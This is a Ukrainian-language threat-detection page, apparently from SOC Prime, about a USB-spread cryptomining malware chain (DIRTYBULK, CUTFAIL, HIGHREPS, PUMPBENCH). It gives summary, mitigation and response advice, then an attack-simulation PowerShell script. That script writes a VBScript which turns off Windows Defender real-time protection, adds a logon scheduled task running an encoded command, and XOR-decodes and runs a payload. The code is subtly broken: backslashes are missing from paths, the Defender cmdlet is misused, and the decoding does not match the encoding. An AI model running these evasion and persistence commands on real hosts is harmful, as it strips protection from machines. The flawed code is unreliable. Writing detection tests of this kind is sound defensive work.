SOC Prime Bias: Середній

02 Dec 2025 17:53 UTC

DIRTYBULK і друзі: USB-зловмисне програмне забезпечення, яке живить майнінгові операції

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
DIRTYBULK і друзі: USB-зловмисне програмне забезпечення, яке живить майнінгові операції
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

У звіті детально описано кампанію зараження, що використовує USB-носії та шкідливі файли-ярлики для розповсюдження багатоступінчастого ланцюга зловмисного програмного забезпечення для майнінгу криптовалют. Початкове виконання підвантажує DLL з ім’ям printui.dll із фіктивної директорії System32, потім передає роботу дроперу (CUTFAIL), далі запускаючи завантажувач (HIGHREPS) та бекдор (PUMPBENCH). Бекдор PUMPBENCH зв’язується з сервером PostgreSQL для отримання додаткових корисних навантажень і в результаті запускає майнери XMRig. Операція підтримує стійкість через виключення у Windows Defender, заплановані завдання та шахрайські сервіси.

Аналіз

Дослідники Mandiant розібрали ланцюг атак і підкреслили чотири основні родини зловмисного програмного забезпечення: DIRTYBULK, CUTFAIL, HIGHREPS і PUMPBENCH. Вони зафіксували шаблони назв файлів акторів, зловживання побічним підвантаженням DLL printui.dll, зміни в реєстрі та пов’язані мережеві показники. Аналіз також розкриває методи збереження стійкості, включаючи заплановані завдання та сервіси, пов’язані з групою сервісів DCOMLaunch.

Пом’якшення

Рекомендовані засоби захисту включають блокування виконання файлів-ярликів, що походять з переносних медіа, моніторинг команд, що додають виключення у Windows Defender, виявлення підозрілої діяльності з побічним підвантаженням printui.dll та пошук сервісів або запланованих завдань, що використовують випадкові шестизначні назви. Застосування мережевих контрольних механізмів проти відомих шкідливих доменів і DoH розв’язників може додатково обмежити канали командування і управління.

Відповідь

Як тільки виявлено, ізолюйте уражений хост, видаліть шкідливий DLL і пов’язані компоненти, видаліть образливі заплановані завдання і записи сервісів, а також відновіть налаштування Windows Defender, видаливши виключення. Проведіть комплексне судово-медичне сканування для виявлення залишкових навантажень і відстеження зв’язків з визначеною інфраструктурою C2 PostgreSQL. Нарешті, оновіть контент виявлення, щоб охопити спостережувані командні рядки та поведінку створення файлів.

Потік атаки

Виконання симуляції

Передумова: перевірка на готовність телеметрії та базової лінії повинна бути успішною.

Причина: Цей розділ детально описує точне виконання техніки нападника (TTP), призначеної для активації правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP і спрямовані на генерацію очікуваної телеметрії, очікуваної від логіки виявлення. Абстрактні або нерелевантні приклади можуть привести до неправильної діагностики.

  • Оповідання та команди атаки:

    1. Етап 1 – Завантаження шкідливого VBScript на скомпрометований USB-диск (наприклад, E:payload.vbs). Скрипт відключає реальний захист Windows Defender, використовуючи Add‑MpPreference, зашифровує корисне навантаження за допомогою XOR-рутини, і створює заплановане завдання для стійкості.

    2. Етап 2 – Виконання скрипта через wscript.exe безпосередньо передаючи командний рядок збереження (щоб виконати кон’юнктивну умову правила).

    3. Етап 3 – Скрипт інтернально викликає PowerShell для запуску зашифрованого корисного навантаження, демонструючи “ланцюг інфекції”.

    4. Етап 4 – Після виконання нападник очищає артефакти (видаляє скрипт, видаляє заплановане завдання).

  • Сценарій регресійного тестування:

    # ------------------------------------------------------------
    # Регресійний тест — симуляція ланцюга шкідливого зараження
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Створення XOR‑зашифрованого фіктивного корисного навантаження --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Запис шкідливого VBScript -------------------------------------------
    @"
    ' Шкідливий VBScript — інфекційний ланцюг
    Set sh = CreateObject("WScript.Shell")
    ' Вимкнення захисту в реальному часі
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Створення запланованого завдання для стійкості
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Дешифрування та виконання корисного навантаження
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Виконання скрипта через wscript.exe (активація правила) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Опціонально) Зачекайте кілька секунд для запуску завдання ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Очищення — видалення скрипту та запланованого завдання
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Команди очищення:

    # Видаліть залишкове заплановане завдання (якщо ще присутнє)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Видаліть будь-які залишкові файли скриптів
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Увімкніть захист у реальному часі
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"